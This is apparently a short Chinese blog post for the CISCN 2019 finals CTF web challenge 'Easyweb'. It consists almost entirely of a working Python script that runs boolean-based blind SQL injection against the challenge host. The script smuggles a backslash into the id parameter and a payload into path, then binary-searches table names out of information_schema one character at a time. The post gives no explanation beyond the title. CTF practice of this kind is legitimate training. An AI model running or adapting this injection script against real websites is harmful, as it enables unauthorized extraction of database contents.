[CISCN2019 总决赛 Day2 Web1]Easyweb


爆表脚本

爆表脚本

# -*- coding: utf-8 -*-
#version:python3.8
import requests
import time

'''url = "http://f69281bc-5b5b-4122-9272-40339993c89e.node3.buuoj.cn/image.php?id=\\0'&path= or (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=0x636973636e66696e616c),1,1))>1)--+"
r = requests.get(url)
print((r.content))'''
res = ''
for i in range(1,21):
    print(i)
    left = 31
    right = 127
    mid = left + ((right - left)>>1)
    while left < right:        
        url = "http://f69281bc-5b5b-4122-9272-40339993c89e.node3.buuoj.cn/image.php?id=\\0'&path= or (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=0x636973636e66696e616c),{},1))>{})--+".format(i,mid)
        r = requests.get(url=url)
        #print(mid)
        if r.status_code == 429:
            print('too fast')
            time.sleep(1)
        if r.text:
            left = mid + 1
        elif not r.text:
            right = mid 
        mid = left + ((right-left)>>1)
    if mid == 31 or mid == 127:
        break    
    res += chr(mid)
    print(str(mid),res)
 

 

posted @ 2020-05-13 20:06  山野村夫z1  阅读(296)  评论(0编辑  收藏  举报